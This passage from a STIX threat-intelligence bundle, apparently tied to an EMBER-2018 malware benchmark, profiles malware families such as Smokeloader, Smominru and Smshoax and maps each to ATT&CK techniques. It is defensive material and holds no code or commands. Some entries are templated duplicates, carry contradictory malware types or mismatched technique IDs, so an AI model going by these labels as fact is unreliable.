      "description": "Trojan:Win32/Smee is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Smee</b><br>To an end-user, a Smee infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Smee is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Smee is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Smee frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Smee reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 6)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Smee",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/smee"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ae9ac8f2-5ac8-5966-a86c-a7ac3d78b4cf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dce08953-e062-5de1-83b6-5e87ee6a369f",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Smee exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3491b360-8277-566e-a10a-fdf44811b59b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dce08953-e062-5de1-83b6-5e87ee6a369f",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Smee exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5a010961-e560-5428-830d-7c89379481c1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dce08953-e062-5de1-83b6-5e87ee6a369f",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Smee exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--646e53b9-df9a-5dc4-a063-e00dddb73188",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dce08953-e062-5de1-83b6-5e87ee6a369f",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Smee exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--69caef69-c95f-5d28-ab71-078fb521658a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dce08953-e062-5de1-83b6-5e87ee6a369f",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Smee exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2e5a6dbb-b20c-546a-9248-96d5e7d80adc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Smheist",
      "description": "<h3>Executive Summary</h3>\nSmheist is a highly specialized Information Stealer (Info-Stealer) specifically designed to target and extract credentials, session tokens, and financial data related to online banking and e-commerce platforms. The \"heist\" nomenclature indicates its primary objective: the rapid, silent exfiltration of high-value authentication data necessary for threat actors to execute fraudulent financial transactions or account takeovers.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nSmheist is typically distributed via highly targeted spear-phishing campaigns (often masquerading as urgent banking alerts or invoices) or dropped as a secondary payload by an initial access broker.\n\nUpon execution, it performs a rapid, aggressive data harvesting operation:\n<ul>\n<li><strong>Browser Exfiltration and Web Injection:</strong> Smheist targets Chromium and Gecko-based browsers to extract saved passwords and autofill data. Advanced variants may utilize \"web injects\"\u2014injecting malicious HTML or JavaScript directly into the user's browser when they visit specific banking URLs to steal 2FA tokens or intercept transactions in real-time.</li>\n<li><strong>Cryptocurrency Targeting:</strong> The malware actively searches the filesystem for desktop cryptocurrency wallets and attempts to steal the `wallet.dat` files and associated authentication tokens.</li>\n<li><strong>Data Exfiltration:</strong> It collects extensive system details, captures keystrokes (keylogging) while the user is on targeted financial sites, and packages all stolen data into a compressed archive. This archive is then exfiltrated via encrypted HTTP POST requests to an attacker-controlled drop server.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Smheist infection is a critical security incident. The malware is designed to execute quickly; by the time the initial executable is detected by standard antivirus, the data exfiltration has usually already completed. The stolen session tokens and credentials can be immediately used to drain financial accounts or pivot into corporate financial systems.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Financial Lockout:</strong> The absolute highest priority is a complete password reset and the notification of financial institutions. ALL banking, corporate finance, and cryptocurrency credentials must be changed immediately from a *different, clean device*.</li>\n<li><strong>MFA Token Revocation:</strong> Assume session cookies were stolen. Force an immediate sign-out of all active sessions for critical web applications to invalidate the stolen tokens.</li>\n<li><strong>Endpoint Eradication:</strong> The extent of the data breach necessitates a full forensic review. Re-imaging the machine from a trusted baseline is required to ensure no secondary backdoors or persistent web injects remain on the system.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "backdoor"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Smheist",
        "Banker.Smheist",
        "PWS.Heist"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Smheist",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/smheist"
        }
      ],
      "labels": [
        "backdoor",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f75e29d3-c0c0-5868-81b0-03ae89dff78f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2e5a6dbb-b20c-546a-9248-96d5e7d80adc",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Smheist exhibits technique T1555.003 (Credentials from Web Browsers)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--33f8cb6d-911b-5da2-9360-6e881ad80a42",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2e5a6dbb-b20c-546a-9248-96d5e7d80adc",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Smheist exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a109451a-5ba1-5fc5-bcdb-bb768745b98f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2e5a6dbb-b20c-546a-9248-96d5e7d80adc",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Smheist exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0a37ccc3-fd0c-5a30-8a79-c73172e8e538",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2e5a6dbb-b20c-546a-9248-96d5e7d80adc",
      "target_ref": "attack-pattern--a389ad0f-bf6b-5b6e-b010-747af7b7b803",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Smheist exhibits technique T1048 (Exfiltration Over Alternative Protocol)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ae5fffce-baed-580b-adf8-5bbb2a570836",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Sminager",
      "description": "Trojan:Win32/Sminager is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Sminager</b><br>To an end-user, a Sminager infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Sminager is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Sminager is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Sminager frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Sminager reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Sminager",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/sminager"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6f50dc79-564e-59fd-a22f-7bade8723e78",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ae5fffce-baed-580b-adf8-5bbb2a570836",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sminager exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4c497df4-7c87-5a35-b08a-610d28f73909",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ae5fffce-baed-580b-adf8-5bbb2a570836",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sminager exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8d09ba52-b09b-573b-9373-d8466886dce3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ae5fffce-baed-580b-adf8-5bbb2a570836",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sminager exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8dd88ecd-b6e2-5eee-b3dc-5638dea63420",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ae5fffce-baed-580b-adf8-5bbb2a570836",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sminager exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d6db1211-1faa-5a79-98a0-98e72f285886",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ae5fffce-baed-580b-adf8-5bbb2a570836",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sminager exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--7d04b032-3718-5393-87cf-296af23052ce",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Smokeloader",
      "description": "SmokeLoader (also cataloged in threat telemetry as Dofoil or Sharapov) is a veteran modular malware loader and botnet first commercialized in 2011 by an underground developer operating under the pseudonyms 'Smoke' and 'Sharapov'. Engineered as a turnkey payload distribution utility sold exclusively on Russian-language cybercrime forums, SmokeLoader specialized in bypassing endpoint security products and reliably staging secondary infostealers, banking trojans, and ransomware.\n\nSmokeLoader earned a reputation for formidable anti-analysis engineering: it detects virtualized sandbox environments, unhooks endpoint detection (EDR) DLLs in process memory, and injects payload shellcode directly into explorer.exe or svchost.exe. In May 2024, Europol, the FBI, the German Federal Criminal Police Office (BKA), French Police, and the National Police of Ukraine executed 'Operation Endgame'\u2014the largest multinational law enforcement operation against cybercrime droppers in history. Operation Endgame dismantled SmokeLoader's global network, taking down over 100 criminal servers and arresting its core operators in Ukraine and Armenia. (Observed samples in benchmark: 21)",
      "is_family": true,
      "malware_types": [
        "downloader",
        "dropper"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "SmokeLoader",
        "Smoke Loader",
        "Dofoil",
        "Sharapov",
        "Trojan.SmokeLoader",
        "Win32/SmokeLoader"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Smokeloader",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/smokeloader"
        }
      ],
      "labels": [
        "loader",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--86c57629-b22a-5f01-8096-02ed51bc7c1f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7d04b032-3718-5393-87cf-296af23052ce",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Smokeloader exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9fef3784-4a53-5d29-b3ca-a3b97e5a9ec4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7d04b032-3718-5393-87cf-296af23052ce",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Smokeloader exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5f6c9e1c-ceaa-5ef3-b6a4-a8aacb0c66d6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7d04b032-3718-5393-87cf-296af23052ce",
      "target_ref": "attack-pattern--aa0c4501-5d70-5f02-83ed-46c2180b3277",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Smokeloader exhibits technique T1497.001 (Virtualization/Sandbox Evasion: System Checks)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b9709315-a791-55e0-a7a0-063d82239e2d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7d04b032-3718-5393-87cf-296af23052ce",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Smokeloader exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Communication))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f3cb37ac-df80-5233-92be-35c9288781b9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7d04b032-3718-5393-87cf-296af23052ce",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Smokeloader exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d703240c-7494-5243-ba33-55bcbe82acd4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7d04b032-3718-5393-87cf-296af23052ce",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Smokeloader exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--654d8f26-349e-5db3-a84d-510e554007ca",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Smominru",
      "description": "Worm:Win32/Smominru is one of the most prolific and resilient botnets in operation, primarily dedicated to large-scale cryptojacking (mining Monero). What sets Smominru apart from simple miners is its aggressive, self-propagating worm capabilities. It actively scans the internet and internal networks, heavily leveraging the EternalBlue (MS17-010) exploit to breach unpatched Windows servers and workstations, spreading laterally without any user interaction (`T1210`).<br><br><b>Understanding Smominru (EternalBlue Botnet)</b><br>To an end-user, an infected server will experience extreme CPU utilization, leading to severe performance degradation or total unresponsiveness. For a security architect, a Smominru outbreak is a massive red flag indicating a systemic failure in patch management and internal network segmentation, as the worm will rapidly compromise every unpatched machine it can reach.<br><br><b>Execution and Lateral Movement Mechanics</b><br>Smominru uses a multi-stage architecture. After exploiting EternalBlue (`T1210`) or brute-forcing MS-SQL/RDP (`T1110`), it drops a PowerShell payload or uses Windows Management Instrumentation (WMI) (`T1047`) to execute commands filelessly. It downloads the XMRig mining software and a secondary credential stealer (often Mimikatz) to harvest passwords for further lateral movement (`T1003.001`). Persistence is established via robust WMI event subscriptions (`T1546.003`), making it notoriously difficult to eradicate, as the WMI triggers will re-download the malware even if the binaries are deleted. The botnet uses a highly decentralized C2 infrastructure, often hiding behind proxies and DGA domains.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is a massive drain on corporate computing resources and the exposure of internal credentials. Host-based IoCs include EDR alerts for anomalous WMI activity (e.g., `scrcons.exe` consuming high CPU), the execution of known mining binaries (`xmrig.exe`), and unexpected PowerShell scripts running as SYSTEM. Network IoCs include a massive volume of outbound SMB traffic (TCP 445) as the infected host scans for other vulnerable machines, and persistent Stratum protocol connections to mining pools. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Smominru",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/smominru"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8899476f-8ca8-5805-a3fb-471e54ba69a8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--654d8f26-349e-5db3-a84d-510e554007ca",
      "target_ref": "attack-pattern--9a77f7cf-eaa1-5bc1-a348-6e591703152b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Smominru exhibits technique T1210 (Exploitation of Remote Services (Using EternalBlue MS17-010 for lateral movement))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--82aad5e1-3528-5536-8af5-221d2c175a38",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--654d8f26-349e-5db3-a84d-510e554007ca",
      "target_ref": "attack-pattern--64b1ee32-1cf5-53c5-8a32-e95bd2440cc2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Smominru exhibits technique T1546.003 (Event Triggered Execution: Windows Management Instrumentation Event Subscription (Primary persistence mechanism))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5fec516b-df97-5f27-bbc2-a6a1af7feb84",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--654d8f26-349e-5db3-a84d-510e554007ca",
      "target_ref": "attack-pattern--bd67c8e3-94f2-57e6-a412-22872f13a8e2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Smominru exhibits technique T1496 (Resource Hijacking (Mining Monero using stolen CPU resources))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c2f59b38-2f11-5e91-bbd8-0f31a17bce10",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--654d8f26-349e-5db3-a84d-510e554007ca",
      "target_ref": "attack-pattern--f7cefe4e-cadf-5280-927c-40d027c0f378",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Smominru exhibits technique T1047 (Windows Management Instrumentation (Used for fileless execution and lateral movement))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e58f8ebb-0367-5efa-bd41-069be2e21106",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Smshoax",
      "description": "Trojan:AndroidOS/Smshoax is a prevalent classification of mobile malware specifically designed to commit financial fraud by silently subscribing the victim to premium-rate SMS services or making unauthorized phone calls. While primarily targeting the Android ecosystem, variations exist across mobile platforms. This threat leverages the billing mechanisms of telecommunications carriers, directly draining the victim's prepaid balance or inflating their monthly phone bill.<br><br><b>Understanding SMS Hoax Fraud</b><br>To an end-user, the infection is often imperceptible until they receive their monthly phone bill showing exorbitant charges for 'premium text services' or international calls they never made. For security analysts, this represents a highly lucrative, automated monetization scheme. The malware acts as a silent proxy, interacting with carrier billing APIs without the user's knowledge or consent.<br><br><b>Execution and Fraud Mechanics</b><br>Smshoax is typically distributed via third-party app stores, disguised as legitimate applications (like games, wallpaper apps, or adult content) (`T1533`). Upon installation (`T1204`), the malware requests excessive permissions, specifically `SEND_SMS`, `READ_SMS`, and `CALL_PHONE` (`T1614.001`). Once granted, it operates in the background. It utilizes its C2 server to receive a list of premium-rate numbers. It then silently sends SMS messages to these numbers (`T1629`). Crucially, to hide its activity from the user, the malware intercepts and immediately deletes the confirmation SMS messages sent back by the premium service or the carrier (`T1562.001`), ensuring the user remains completely unaware they have been subscribed to a recurring, expensive service.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is direct financial loss for the user. Technical IoCs on the mobile device include an unknown application holding SMS and Phone permissions. Behavioral IoCs include unexpected drops in prepaid mobile balances, unexplained premium charges on phone bills, and the device sending outbound SMS messages to shortcodes (e.g., 5-digit numbers) without user interaction. (Observed samples in benchmark: 7)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Smshoax",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/smshoax"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1266d48e-6304-536e-864f-ecc5b4fce43f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e58f8ebb-0367-5efa-bd41-069be2e21106",
      "target_ref": "attack-pattern--163d9095-8f7d-5d47-a839-54bd96459830",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Smshoax exhibits technique T1629 (Financial Theft: SMS Toll Fraud (Sending premium SMS messages))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3fb8a1be-3559-5133-962a-b266128fae59",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e58f8ebb-0367-5efa-bd41-069be2e21106",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Smshoax exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Intercepting and deleting incoming SMS alerts))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--47990b98-3aac-5aa2-8c88-a7412e2be927",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1614.001: System Location Discovery: Location Tracking (Often bundled to target specific regional carriers)",
      "description": "MITRE ATT&CK Technique T1614.001 (System Location Discovery: Location Tracking (Often bundled to target specific regional carriers)) under tactic Discovery.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1614.001",
          "url": "https://attack.mitre.org/techniques/T1614/001/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8dd1f891-1926-5ef3-89ff-e22ccb1abd7e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e58f8ebb-0367-5efa-bd41-069be2e21106",
      "target_ref": "attack-pattern--47990b98-3aac-5aa2-8c88-a7412e2be927",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Smshoax exhibits technique T1614.001 (System Location Discovery: Location Tracking (Often bundled to target specific regional carriers))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--bfe7a36f-c225-53e0-9521-b3d42dc9e250",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1533: Data from Local System (Harvesting contact lists for further spam)",
      "description": "MITRE ATT&CK Technique T1533 (Data from Local System (Harvesting contact lists for further spam)) under tactic Collection.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1533",
          "url": "https://attack.mitre.org/techniques/T1533/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--71327abf-a403-5be8-944b-6058a394b979",
